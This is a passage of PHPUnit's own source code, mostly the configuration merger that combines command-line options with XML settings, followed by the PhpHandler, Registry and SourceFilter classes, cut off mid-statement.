$cliConfiguration->failOnSkipped(); } else { $failOnSkipped = $xmlConfiguration->phpunit()->failOnSkipped(); } if ($cliConfiguration->hasFailOnWarning()) { $failOnWarning = $cliConfiguration->failOnWarning(); } else { $failOnWarning = $xmlConfiguration->phpunit()->failOnWarning(); } $doNotFailOnDeprecation = false; if ($cliConfiguration->hasDoNotFailOnDeprecation()) { $doNotFailOnDeprecation = $cliConfiguration->doNotFailOnDeprecation(); } $doNotFailOnPhpunitDeprecation = false; if ($cliConfiguration->hasDoNotFailOnPhpunitDeprecation()) { $doNotFailOnPhpunitDeprecation = $cliConfiguration->doNotFailOnPhpunitDeprecation(); } $doNotFailOnPhpunitWarning = false; if ($cliConfiguration->hasDoNotFailOnPhpunitWarning()) { $doNotFailOnPhpunitWarning = $cliConfiguration->doNotFailOnPhpunitWarning(); } $doNotFailOnEmptyTestSuite = false; if ($cliConfiguration->hasDoNotFailOnEmptyTestSuite()) { $doNotFailOnEmptyTestSuite = $cliConfiguration->doNotFailOnEmptyTestSuite(); } $doNotFailOnIncomplete = false; if ($cliConfiguration->hasDoNotFailOnIncomplete()) { $doNotFailOnIncomplete = $cliConfiguration->doNotFailOnIncomplete(); } $doNotFailOnNotice = false; if ($cliConfiguration->hasDoNotFailOnNotice()) { $doNotFailOnNotice = $cliConfiguration->doNotFailOnNotice(); } $doNotFailOnRisky = false; if ($cliConfiguration->hasDoNotFailOnRisky()) { $doNotFailOnRisky = $cliConfiguration->doNotFailOnRisky(); } $doNotFailOnSkipped = false; if ($cliConfiguration->hasDoNotFailOnSkipped()) { $doNotFailOnSkipped = $cliConfiguration->doNotFailOnSkipped(); } $doNotFailOnWarning = false; if ($cliConfiguration->hasDoNotFailOnWarning()) { $doNotFailOnWarning = $cliConfiguration->doNotFailOnWarning(); } if ($cliConfiguration->hasStopOnDefect()) { $stopOnDefect = $cliConfiguration->stopOnDefect(); } else { $stopOnDefect = $xmlConfiguration->phpunit()->stopOnDefect(); } if ($cliConfiguration->hasStopOnDeprecation()) { $stopOnDeprecation = $cliConfiguration->stopOnDeprecation(); } else { $stopOnDeprecation = $xmlConfiguration->phpunit()->stopOnDeprecation(); } if ($cliConfiguration->hasStopOnError()) { $stopOnError = $cliConfiguration->stopOnError(); } else { $stopOnError = $xmlConfiguration->phpunit()->stopOnError(); } if ($cliConfiguration->hasStopOnFailure()) { $stopOnFailure = $cliConfiguration->stopOnFailure(); } else { $stopOnFailure = $xmlConfiguration->phpunit()->stopOnFailure(); } if ($cliConfiguration->hasStopOnIncomplete()) { $stopOnIncomplete = $cliConfiguration->stopOnIncomplete(); } else { $stopOnIncomplete = $xmlConfiguration->phpunit()->stopOnIncomplete(); } if ($cliConfiguration->hasStopOnNotice()) { $stopOnNotice = $cliConfiguration->stopOnNotice(); } else { $stopOnNotice = $xmlConfiguration->phpunit()->stopOnNotice(); } if ($cliConfiguration->hasStopOnRisky()) { $stopOnRisky = $cliConfiguration->stopOnRisky(); } else { $stopOnRisky = $xmlConfiguration->phpunit()->stopOnRisky(); } if ($cliConfiguration->hasStopOnSkipped()) { $stopOnSkipped = $cliConfiguration->stopOnSkipped(); } else { $stopOnSkipped = $xmlConfiguration->phpunit()->stopOnSkipped(); } if ($cliConfiguration->hasStopOnWarning()) { $stopOnWarning = $cliConfiguration->stopOnWarning(); } else { $stopOnWarning = $xmlConfiguration->phpunit()->stopOnWarning(); } if ($cliConfiguration->hasStderr() && $cliConfiguration->stderr()) { $outputToStandardErrorStream = true; } else { $outputToStandardErrorStream = $xmlConfiguration->phpunit()->stderr(); } if ($cliConfiguration->hasColumns()) { $columns = $cliConfiguration->columns(); } else { $columns = $xmlConfiguration->phpunit()->columns(); } if ($columns === 'max') { $columns = (new Console)->getNumberOfColumns(); } if ($columns < 16) { $columns = 16; EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( 'Less than 16 columns requested, number of columns set to 16', ); } assert(is_int($columns)); $noExtensions = false; if ($cliConfiguration->hasNoExtensions() && $cliConfiguration->noExtensions()) { $noExtensions = true; } $pharExtensionDirectory = null; if ($xmlConfiguration->phpunit()->hasExtensionsDirectory()) { $pharExtensionDirectory = $xmlConfiguration->phpunit()->extensionsDirectory(); } $extensionBootstrappers = []; foreach ($xmlConfiguration->extensions() as $extension) { $extensionBootstrappers[] = [ 'className' => $extension->className(), 'parameters' => $extension->parameters(), ]; } if ($cliConfiguration->hasPathCoverage() && $cliConfiguration->pathCoverage()) { $pathCoverage = $cliConfiguration->pathCoverage(); } else { $pathCoverage = $xmlConfiguration->codeCoverage()->pathCoverage(); } $defaultColors = Colors::default(); $defaultThresholds = Thresholds::default(); $coverageClover = null; $coverageCobertura = null; $coverageCrap4j = null; $coverageCrap4jThreshold = 30; $coverageHtml = null; $coverageHtmlLowUpperBound = $defaultThresholds->lowUpperBound(); $coverageHtmlHighLowerBound = $defaultThresholds->highLowerBound(); $coverageHtmlColorSuccessLow = $defaultColors->successLow(); $coverageHtmlColorSuccessMedium = $defaultColors->successMedium(); $coverageHtmlColorSuccessHigh = $defaultColors->successHigh(); $coverageHtmlColorWarning = $defaultColors->warning(); $coverageHtmlColorDanger = $defaultColors->danger(); $coverageHtmlCustomCssFile = null; $coveragePhp = null; $coverageText = null; $coverageTextShowUncoveredFiles = false; $coverageTextShowOnlySummary = false; $coverageXml = null; $coverageFromXmlConfiguration = true; if ($cliConfiguration->hasNoCoverage() && $cliConfiguration->noCoverage()) { $coverageFromXmlConfiguration = false; } if ($cliConfiguration->hasCoverageClover()) { $coverageClover = $cliConfiguration->coverageClover(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasClover()) { $coverageClover = $xmlConfiguration->codeCoverage()->clover()->target()->path(); } if ($cliConfiguration->hasCoverageCobertura()) { $coverageCobertura = $cliConfiguration->coverageCobertura(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasCobertura()) { $coverageCobertura = $xmlConfiguration->codeCoverage()->cobertura()->target()->path(); } if ($xmlConfiguration->codeCoverage()->hasCrap4j()) { $coverageCrap4jThreshold = $xmlConfiguration->codeCoverage()->crap4j()->threshold(); } if ($cliConfiguration->hasCoverageCrap4J()) { $coverageCrap4j = $cliConfiguration->coverageCrap4J(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasCrap4j()) { $coverageCrap4j = $xmlConfiguration->codeCoverage()->crap4j()->target()->path(); } if ($xmlConfiguration->codeCoverage()->hasHtml()) { $coverageHtmlHighLowerBound = $xmlConfiguration->codeCoverage()->html()->highLowerBound(); $coverageHtmlLowUpperBound = $xmlConfiguration->codeCoverage()->html()->lowUpperBound(); if ($coverageHtmlLowUpperBound > $coverageHtmlHighLowerBound) { $coverageHtmlLowUpperBound = $defaultThresholds->lowUpperBound(); $coverageHtmlHighLowerBound = $defaultThresholds->highLowerBound(); } $coverageHtmlColorSuccessLow = $xmlConfiguration->codeCoverage()->html()->colorSuccessLow(); $coverageHtmlColorSuccessMedium = $xmlConfiguration->codeCoverage()->html()->colorSuccessMedium(); $coverageHtmlColorSuccessHigh = $xmlConfiguration->codeCoverage()->html()->colorSuccessHigh(); $coverageHtmlColorWarning = $xmlConfiguration->codeCoverage()->html()->colorWarning(); $coverageHtmlColorDanger = $xmlConfiguration->codeCoverage()->html()->colorDanger(); if ($xmlConfiguration->codeCoverage()->html()->hasCustomCssFile()) { $coverageHtmlCustomCssFile = $xmlConfiguration->codeCoverage()->html()->customCssFile(); } } if ($cliConfiguration->hasCoverageHtml()) { $coverageHtml = $cliConfiguration->coverageHtml(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasHtml()) { $coverageHtml = $xmlConfiguration->codeCoverage()->html()->target()->path(); } if ($cliConfiguration->hasCoveragePhp()) { $coveragePhp = $cliConfiguration->coveragePhp(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasPhp()) { $coveragePhp = $xmlConfiguration->codeCoverage()->php()->target()->path(); } if ($xmlConfiguration->codeCoverage()->hasText()) { $coverageTextShowUncoveredFiles = $xmlConfiguration->codeCoverage()->text()->showUncoveredFiles(); $coverageTextShowOnlySummary = $xmlConfiguration->codeCoverage()->text()->showOnlySummary(); } if ($cliConfiguration->hasCoverageTextShowUncoveredFiles()) { $coverageTextShowUncoveredFiles = $cliConfiguration->coverageTextShowUncoveredFiles(); } if ($cliConfiguration->hasCoverageTextShowOnlySummary()) { $coverageTextShowOnlySummary = $cliConfiguration->coverageTextShowOnlySummary(); } if ($cliConfiguration->hasCoverageText()) { $coverageText = $cliConfiguration->coverageText(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasText()) { $coverageText = $xmlConfiguration->codeCoverage()->text()->target()->path(); } if ($cliConfiguration->hasCoverageXml()) { $coverageXml = $cliConfiguration->coverageXml(); } elseif ($coverageFromXmlConfiguration && $xmlConfiguration->codeCoverage()->hasXml()) { $coverageXml = $xmlConfiguration->codeCoverage()->xml()->target()->path(); } if ($cliConfiguration->hasBackupGlobals()) { $backupGlobals = $cliConfiguration->backupGlobals(); } else { $backupGlobals = $xmlConfiguration->phpunit()->backupGlobals(); } if ($cliConfiguration->hasBackupStaticProperties()) { $backupStaticProperties = $cliConfiguration->backupStaticProperties(); } else { $backupStaticProperties = $xmlConfiguration->phpunit()->backupStaticProperties(); } if ($cliConfiguration->hasBeStrictAboutChangesToGlobalState()) { $beStrictAboutChangesToGlobalState = $cliConfiguration->beStrictAboutChangesToGlobalState(); } else { $beStrictAboutChangesToGlobalState = $xmlConfiguration->phpunit()->beStrictAboutChangesToGlobalState(); } if ($cliConfiguration->hasProcessIsolation()) { $processIsolation = $cliConfiguration->processIsolation(); } else { $processIsolation = $xmlConfiguration->phpunit()->processIsolation(); } if ($cliConfiguration->hasEnforceTimeLimit()) { $enforceTimeLimit = $cliConfiguration->enforceTimeLimit(); } else { $enforceTimeLimit = $xmlConfiguration->phpunit()->enforceTimeLimit(); } if ($enforceTimeLimit && !(new Invoker)->canInvokeWithTimeout()) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( 'The pcntl extension is required for enforcing time limits', ); } if ($cliConfiguration->hasDefaultTimeLimit()) { $defaultTimeLimit = $cliConfiguration->defaultTimeLimit(); } else { $defaultTimeLimit = $xmlConfiguration->phpunit()->defaultTimeLimit(); } $timeoutForSmallTests = $xmlConfiguration->phpunit()->timeoutForSmallTests(); $timeoutForMediumTests = $xmlConfiguration->phpunit()->timeoutForMediumTests(); $timeoutForLargeTests = $xmlConfiguration->phpunit()->timeoutForLargeTests(); if ($cliConfiguration->hasReportUselessTests()) { $reportUselessTests = $cliConfiguration->reportUselessTests(); } else { $reportUselessTests = $xmlConfiguration->phpunit()->beStrictAboutTestsThatDoNotTestAnything(); } if ($cliConfiguration->hasStrictCoverage()) { $strictCoverage = $cliConfiguration->strictCoverage(); } else { $strictCoverage = $xmlConfiguration->phpunit()->beStrictAboutCoverageMetadata(); } if ($cliConfiguration->hasDisallowTestOutput()) { $disallowTestOutput = $cliConfiguration->disallowTestOutput(); } else { $disallowTestOutput = $xmlConfiguration->phpunit()->beStrictAboutOutputDuringTests(); } if ($cliConfiguration->hasDisplayDetailsOnAllIssues()) { $displayDetailsOnAllIssues = $cliConfiguration->displayDetailsOnAllIssues(); } else { $displayDetailsOnAllIssues = $xmlConfiguration->phpunit()->displayDetailsOnAllIssues(); } if ($cliConfiguration->hasDisplayDetailsOnIncompleteTests()) { $displayDetailsOnIncompleteTests = $cliConfiguration->displayDetailsOnIncompleteTests(); } else { $displayDetailsOnIncompleteTests = $xmlConfiguration->phpunit()->displayDetailsOnIncompleteTests(); } if ($cliConfiguration->hasDisplayDetailsOnSkippedTests()) { $displayDetailsOnSkippedTests = $cliConfiguration->displayDetailsOnSkippedTests(); } else { $displayDetailsOnSkippedTests = $xmlConfiguration->phpunit()->displayDetailsOnSkippedTests(); } if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerDeprecations()) { $displayDetailsOnTestsThatTriggerDeprecations = $cliConfiguration->displayDetailsOnTestsThatTriggerDeprecations(); } else { $displayDetailsOnTestsThatTriggerDeprecations = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerDeprecations(); } if ($cliConfiguration->hasDisplayDetailsOnPhpunitDeprecations()) { $displayDetailsOnPhpunitDeprecations = $cliConfiguration->displayDetailsOnPhpunitDeprecations(); } else { $displayDetailsOnPhpunitDeprecations = $xmlConfiguration->phpunit()->displayDetailsOnPhpunitDeprecations(); } if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerErrors()) { $displayDetailsOnTestsThatTriggerErrors = $cliConfiguration->displayDetailsOnTestsThatTriggerErrors(); } else { $displayDetailsOnTestsThatTriggerErrors = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerErrors(); } if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerNotices()) { $displayDetailsOnTestsThatTriggerNotices = $cliConfiguration->displayDetailsOnTestsThatTriggerNotices(); } else { $displayDetailsOnTestsThatTriggerNotices = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerNotices(); } if ($cliConfiguration->hasDisplayDetailsOnTestsThatTriggerWarnings()) { $displayDetailsOnTestsThatTriggerWarnings = $cliConfiguration->displayDetailsOnTestsThatTriggerWarnings(); } else { $displayDetailsOnTestsThatTriggerWarnings = $xmlConfiguration->phpunit()->displayDetailsOnTestsThatTriggerWarnings(); } if ($cliConfiguration->hasReverseList()) { $reverseDefectList = $cliConfiguration->reverseList(); } else { $reverseDefectList = $xmlConfiguration->phpunit()->reverseDefectList(); } $requireCoverageMetadata = $xmlConfiguration->phpunit()->requireCoverageMetadata(); $registerMockObjectsFromTestArgumentsRecursively = $xmlConfiguration->phpunit()->registerMockObjectsFromTestArgumentsRecursively(); if ($cliConfiguration->hasExecutionOrder()) { $executionOrder = $cliConfiguration->executionOrder(); } else { $executionOrder = $xmlConfiguration->phpunit()->executionOrder(); } $executionOrderDefects = TestSuiteSorter::ORDER_DEFAULT; if ($cliConfiguration->hasExecutionOrderDefects()) { $executionOrderDefects = $cliConfiguration->executionOrderDefects(); } elseif ($xmlConfiguration->phpunit()->defectsFirst()) { $executionOrderDefects = TestSuiteSorter::ORDER_DEFECTS_FIRST; } if ($cliConfiguration->hasResolveDependencies()) { $resolveDependencies = $cliConfiguration->resolveDependencies(); } else { $resolveDependencies = $xmlConfiguration->phpunit()->resolveDependencies(); } $colors = false; $colorsSupported = (new Console)->hasColorSupport(); if ($cliConfiguration->hasColors()) { if ($cliConfiguration->colors() === Configuration::COLOR_ALWAYS) { $colors = true; } elseif ($colorsSupported && $cliConfiguration->colors() === Configuration::COLOR_AUTO) { $colors = true; } } elseif ($xmlConfiguration->phpunit()->colors() === Configuration::COLOR_ALWAYS) { $colors = true; } elseif ($colorsSupported && $xmlConfiguration->phpunit()->colors() === Configuration::COLOR_AUTO) { $colors = true; } $logfileTeamcity = null; $logfileJunit = null; $logfileTestdoxHtml = null; $logfileTestdoxText = null; $loggingFromXmlConfiguration = true; if ($cliConfiguration->hasNoLogging() && $cliConfiguration->noLogging()) { $loggingFromXmlConfiguration = false; } if ($cliConfiguration->hasTeamcityLogfile()) { $logfileTeamcity = $cliConfiguration->teamcityLogfile(); } elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTeamCity()) { $logfileTeamcity = $xmlConfiguration->logging()->teamCity()->target()->path(); } if ($cliConfiguration->hasJunitLogfile()) { $logfileJunit = $cliConfiguration->junitLogfile(); } elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasJunit()) { $logfileJunit = $xmlConfiguration->logging()->junit()->target()->path(); } if ($cliConfiguration->hasTestdoxHtmlFile()) { $logfileTestdoxHtml = $cliConfiguration->testdoxHtmlFile(); } elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTestDoxHtml()) { $logfileTestdoxHtml = $xmlConfiguration->logging()->testDoxHtml()->target()->path(); } if ($cliConfiguration->hasTestdoxTextFile()) { $logfileTestdoxText = $cliConfiguration->testdoxTextFile(); } elseif ($loggingFromXmlConfiguration && $xmlConfiguration->logging()->hasTestDoxText()) { $logfileTestdoxText = $xmlConfiguration->logging()->testDoxText()->target()->path(); } $logEventsText = null; if ($cliConfiguration->hasLogEventsText()) { $logEventsText = $cliConfiguration->logEventsText(); } $logEventsVerboseText = null; if ($cliConfiguration->hasLogEventsVerboseText()) { $logEventsVerboseText = $cliConfiguration->logEventsVerboseText(); } $teamCityOutput = false; if ($cliConfiguration->hasTeamCityPrinter() && $cliConfiguration->teamCityPrinter()) { $teamCityOutput = true; } if ($cliConfiguration->hasTestDoxPrinter() && $cliConfiguration->testdoxPrinter()) { $testDoxOutput = true; } else { $testDoxOutput = $xmlConfiguration->phpunit()->testdoxPrinter(); } $noProgress = false; if ($cliConfiguration->hasNoProgress() && $cliConfiguration->noProgress()) { $noProgress = true; } $noResults = false; if ($cliConfiguration->hasNoResults() && $cliConfiguration->noResults()) { $noResults = true; } $noOutput = false; if ($cliConfiguration->hasNoOutput() && $cliConfiguration->noOutput()) { $noOutput = true; } $testsCovering = null; if ($cliConfiguration->hasTestsCovering()) { $testsCovering = $cliConfiguration->testsCovering(); } $testsUsing = null; if ($cliConfiguration->hasTestsUsing()) { $testsUsing = $cliConfiguration->testsUsing(); } $filter = null; if ($cliConfiguration->hasFilter()) { $filter = $cliConfiguration->filter(); } if ($cliConfiguration->hasGroups()) { $groups = $cliConfiguration->groups(); } else { $groups = $xmlConfiguration->groups()->include()->asArrayOfStrings(); } if ($cliConfiguration->hasExcludeGroups()) { $excludeGroups = $cliConfiguration->excludeGroups(); } else { $excludeGroups = $xmlConfiguration->groups()->exclude()->asArrayOfStrings(); } $excludeGroups = array_diff($excludeGroups, $groups); if ($cliConfiguration->hasRandomOrderSeed()) { $randomOrderSeed = $cliConfiguration->randomOrderSeed(); } else { $randomOrderSeed = time(); } if ($xmlConfiguration->wasLoadedFromFile() && $xmlConfiguration->hasValidationErrors()) { if ((new SchemaDetector)->detect($xmlConfiguration->filename())->detected()) { EventFacade::emitter()->testRunnerTriggeredPhpunitDeprecation( 'Your XML configuration validates against a deprecated schema. Migrate your XML configuration using "--migrate-configuration"!', ); } else { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning( "Test results may not be as expected because the XML configuration file did not pass validation:\n" . $xmlConfiguration->validationErrors(), ); } } $includeUncoveredFiles = $xmlConfiguration->codeCoverage()->includeUncoveredFiles(); $includePaths = []; if ($cliConfiguration->hasIncludePath()) { foreach (explode(PATH_SEPARATOR, $cliConfiguration->includePath()) as $includePath) { $includePaths[] = new Directory($includePath); } } foreach ($xmlConfiguration->php()->includePaths() as $includePath) { $includePaths[] = $includePath; } $iniSettings = []; if ($cliConfiguration->hasIniSettings()) { foreach ($cliConfiguration->iniSettings() as $name => $value) { $iniSettings[] = new IniSetting($name, $value); } } foreach ($xmlConfiguration->php()->iniSettings() as $iniSetting) { $iniSettings[] = $iniSetting; } $includeTestSuite = ''; if ($cliConfiguration->hasTestSuite()) { $includeTestSuite = $cliConfiguration->testSuite(); } elseif ($xmlConfiguration->phpunit()->hasDefaultTestSuite()) { $includeTestSuite = $xmlConfiguration->phpunit()->defaultTestSuite(); } $excludeTestSuite = ''; if ($cliConfiguration->hasExcludedTestSuite()) { $excludeTestSuite = $cliConfiguration->excludedTestSuite(); } $testSuffixes = ['Test.php', '.phpt']; if ($cliConfiguration->hasTestSuffixes()) { $testSuffixes = $cliConfiguration->testSuffixes(); } $sourceIncludeDirectories = []; if ($cliConfiguration->hasCoverageFilter()) { foreach ($cliConfiguration->coverageFilter() as $directory) { $sourceIncludeDirectories[] = new FilterDirectory($directory, '', '.php'); } } if ($xmlConfiguration->codeCoverage()->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { foreach ($xmlConfiguration->codeCoverage()->directories() as $directory) { $sourceIncludeDirectories[] = $directory; } $sourceIncludeFiles = $xmlConfiguration->codeCoverage()->files(); $sourceExcludeDirectories = $xmlConfiguration->codeCoverage()->excludeDirectories(); $sourceExcludeFiles = $xmlConfiguration->codeCoverage()->excludeFiles(); } else { foreach ($xmlConfiguration->source()->includeDirectories() as $directory) { $sourceIncludeDirectories[] = $directory; } $sourceIncludeFiles = $xmlConfiguration->source()->includeFiles(); $sourceExcludeDirectories = $xmlConfiguration->source()->excludeDirectories(); $sourceExcludeFiles = $xmlConfiguration->source()->excludeFiles(); } $useBaseline = null; $generateBaseline = null; if (!$cliConfiguration->hasGenerateBaseline()) { if ($cliConfiguration->hasUseBaseline()) { $useBaseline = $cliConfiguration->useBaseline(); } elseif ($xmlConfiguration->source()->hasBaseline()) { $useBaseline = $xmlConfiguration->source()->baseline(); } } else { $generateBaseline = $cliConfiguration->generateBaseline(); } assert($useBaseline !== ''); assert($generateBaseline !== ''); return new Configuration( $cliConfiguration->arguments(), $configurationFile, $bootstrap, $cacheResult, $cacheDirectory, $coverageCacheDirectory, new Source( $useBaseline, $cliConfiguration->ignoreBaseline(), FilterDirectoryCollection::fromArray($sourceIncludeDirectories), $sourceIncludeFiles, $sourceExcludeDirectories, $sourceExcludeFiles, $xmlConfiguration->source()->restrictDeprecations(), $xmlConfiguration->source()->restrictNotices(), $xmlConfiguration->source()->restrictWarnings(), $xmlConfiguration->source()->ignoreSuppressionOfDeprecations(), $xmlConfiguration->source()->ignoreSuppressionOfPhpDeprecations(), $xmlConfiguration->source()->ignoreSuppressionOfErrors(), $xmlConfiguration->source()->ignoreSuppressionOfNotices(), $xmlConfiguration->source()->ignoreSuppressionOfPhpNotices(), $xmlConfiguration->source()->ignoreSuppressionOfWarnings(), $xmlConfiguration->source()->ignoreSuppressionOfPhpWarnings(), ), $testResultCacheFile, $coverageClover, $coverageCobertura, $coverageCrap4j, $coverageCrap4jThreshold, $coverageHtml, $coverageHtmlLowUpperBound, $coverageHtmlHighLowerBound, $coverageHtmlColorSuccessLow, $coverageHtmlColorSuccessMedium, $coverageHtmlColorSuccessHigh, $coverageHtmlColorWarning, $coverageHtmlColorDanger, $coverageHtmlCustomCssFile, $coveragePhp, $coverageText, $coverageTextShowUncoveredFiles, $coverageTextShowOnlySummary, $coverageXml, $pathCoverage, $xmlConfiguration->codeCoverage()->ignoreDeprecatedCodeUnits(), $disableCodeCoverageIgnore, $failOnAllIssues, $failOnDeprecation, $failOnPhpunitDeprecation, $failOnPhpunitWarning, $failOnEmptyTestSuite, $failOnIncomplete, $failOnNotice, $failOnRisky, $failOnSkipped, $failOnWarning, $doNotFailOnDeprecation, $doNotFailOnPhpunitDeprecation, $doNotFailOnPhpunitWarning, $doNotFailOnEmptyTestSuite, $doNotFailOnIncomplete, $doNotFailOnNotice, $doNotFailOnRisky, $doNotFailOnSkipped, $doNotFailOnWarning, $stopOnDefect, $stopOnDeprecation, $stopOnError, $stopOnFailure, $stopOnIncomplete, $stopOnNotice, $stopOnRisky, $stopOnSkipped, $stopOnWarning, $outputToStandardErrorStream, $columns, $noExtensions, $pharExtensionDirectory, $extensionBootstrappers, $backupGlobals, $backupStaticProperties, $beStrictAboutChangesToGlobalState, $colors, $processIsolation, $enforceTimeLimit, $defaultTimeLimit, $timeoutForSmallTests, $timeoutForMediumTests, $timeoutForLargeTests, $reportUselessTests, $strictCoverage, $disallowTestOutput, $displayDetailsOnAllIssues, $displayDetailsOnIncompleteTests, $displayDetailsOnSkippedTests, $displayDetailsOnTestsThatTriggerDeprecations, $displayDetailsOnPhpunitDeprecations, $displayDetailsOnTestsThatTriggerErrors, $displayDetailsOnTestsThatTriggerNotices, $displayDetailsOnTestsThatTriggerWarnings, $reverseDefectList, $requireCoverageMetadata, $registerMockObjectsFromTestArgumentsRecursively, $noProgress, $noResults, $noOutput, $executionOrder, $executionOrderDefects, $resolveDependencies, $logfileTeamcity, $logfileJunit, $logfileTestdoxHtml, $logfileTestdoxText, $logEventsText, $logEventsVerboseText, $teamCityOutput, $testDoxOutput, $testsCovering, $testsUsing, $filter, $groups, $excludeGroups, $randomOrderSeed, $includeUncoveredFiles, $xmlConfiguration->testSuite(), $includeTestSuite, $excludeTestSuite, $xmlConfiguration->phpunit()->hasDefaultTestSuite() ? $xmlConfiguration->phpunit()->defaultTestSuite() : null, $testSuffixes, new Php( DirectoryCollection::fromArray($includePaths), IniSettingCollection::fromArray($iniSettings), $xmlConfiguration->php()->constants(), $xmlConfiguration->php()->globalVariables(), $xmlConfiguration->php()->envVariables(), $xmlConfiguration->php()->postVariables(), $xmlConfiguration->php()->getVariables(), $xmlConfiguration->php()->cookieVariables(), $xmlConfiguration->php()->serverVariables(), $xmlConfiguration->php()->filesVariables(), $xmlConfiguration->php()->requestVariables(), ), $xmlConfiguration->phpunit()->controlGarbageCollector(), $xmlConfiguration->phpunit()->numberOfTestsBeforeGarbageCollection(), $generateBaseline, $cliConfiguration->debug(), ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use const PATH_SEPARATOR; use function constant; use function define; use function defined; use function getenv; use function implode; use function ini_get; use function ini_set; use function putenv; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class PhpHandler { public function handle(Php $configuration): void { $this->handleIncludePaths($configuration->includePaths()); $this->handleIniSettings($configuration->iniSettings()); $this->handleConstants($configuration->constants()); $this->handleGlobalVariables($configuration->globalVariables()); $this->handleServerVariables($configuration->serverVariables()); $this->handleEnvVariables($configuration->envVariables()); $this->handleVariables('_POST', $configuration->postVariables()); $this->handleVariables('_GET', $configuration->getVariables()); $this->handleVariables('_COOKIE', $configuration->cookieVariables()); $this->handleVariables('_FILES', $configuration->filesVariables()); $this->handleVariables('_REQUEST', $configuration->requestVariables()); } private function handleIncludePaths(DirectoryCollection $includePaths): void { if (!$includePaths->isEmpty()) { $includePathsAsStrings = []; foreach ($includePaths as $includePath) { $includePathsAsStrings[] = $includePath->path(); } ini_set( 'include_path', implode(PATH_SEPARATOR, $includePathsAsStrings) . PATH_SEPARATOR . ini_get('include_path'), ); } } private function handleIniSettings(IniSettingCollection $iniSettings): void { foreach ($iniSettings as $iniSetting) { $value = $iniSetting->value(); if (defined($value)) { $value = (string) constant($value); } ini_set($iniSetting->name(), $value); } } private function handleConstants(ConstantCollection $constants): void { foreach ($constants as $constant) { if (!defined($constant->name())) { define($constant->name(), $constant->value()); } } } private function handleGlobalVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $GLOBALS[$variable->name()] = $variable->value(); } } private function handleServerVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $_SERVER[$variable->name()] = $variable->value(); } } private function handleVariables(string $target, VariableCollection $variables): void { foreach ($variables as $variable) { $GLOBALS[$target][$variable->name()] = $variable->value(); } } private function handleEnvVariables(VariableCollection $variables): void { foreach ($variables as $variable) { $name = $variable->name(); $value = $variable->value(); $force = $variable->force(); if ($force || getenv($name) === false) { putenv("{$name}={$value}"); } $value = getenv($name); if ($force || !isset($_ENV[$name])) { $_ENV[$name] = $value; } } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function assert; use function file_get_contents; use function file_put_contents; use function serialize; use function unserialize; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\TextUI\CliArguments\Configuration as CliConfiguration; use PHPUnit\TextUI\CliArguments\Exception; use PHPUnit\TextUI\XmlConfiguration\Configuration as XmlConfiguration; use PHPUnit\Util\VersionComparisonOperator; /** * CLI options and XML configuration are static within a single PHPUnit process. * It is therefore okay to use a Singleton registry here. * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Registry { private static ?Configuration $instance = null; public static function saveTo(string $path): bool { $result = file_put_contents( $path, serialize(self::get()), ); if ($result) { return true; } // @codeCoverageIgnoreStart return false; // @codeCoverageIgnoreEnd } /** * This method is used by the "run test(s) in separate process" templates. * * @noinspection PhpUnused * * @codeCoverageIgnore */ public static function loadFrom(string $path): void { self::$instance = unserialize( file_get_contents($path), [ 'allowed_classes' => [ Configuration::class, Php::class, ConstantCollection::class, Constant::class, IniSettingCollection::class, IniSetting::class, VariableCollection::class, Variable::class, DirectoryCollection::class, Directory::class, FileCollection::class, File::class, FilterDirectoryCollection::class, FilterDirectory::class, TestDirectoryCollection::class, TestDirectory::class, TestFileCollection::class, TestFile::class, TestSuiteCollection::class, TestSuite::class, VersionComparisonOperator::class, Source::class, ], ], ); } public static function get(): Configuration { assert(self::$instance instanceof Configuration); return self::$instance; } /** * @throws \PHPUnit\TextUI\XmlConfiguration\Exception * @throws Exception * @throws NoCustomCssFileException */ public static function init(CliConfiguration $cliConfiguration, XmlConfiguration $xmlConfiguration): Configuration { self::$instance = (new Merger)->merge($cliConfiguration, $xmlConfiguration); EventFacade::emitter()->testRunnerConfigured(self::$instance); return self::$instance; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class SourceFilter { private static ?self $instance = null; /** * @psalm-var array */ private readonly array $map; public static function instance(): self { if (self::$instance === null) { self::$instance = new self( (new SourceMapper)->map( Registry::get()->source(), ), ); } return self::$instance; } /** * @psalm-param array $map */ public function __construct(array $map) { $this->map = $map; } public function includes(string $path): bool { return isset($this->map[$path]); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use function realpath; use SebastianBergmann\FileIterator\Facade as 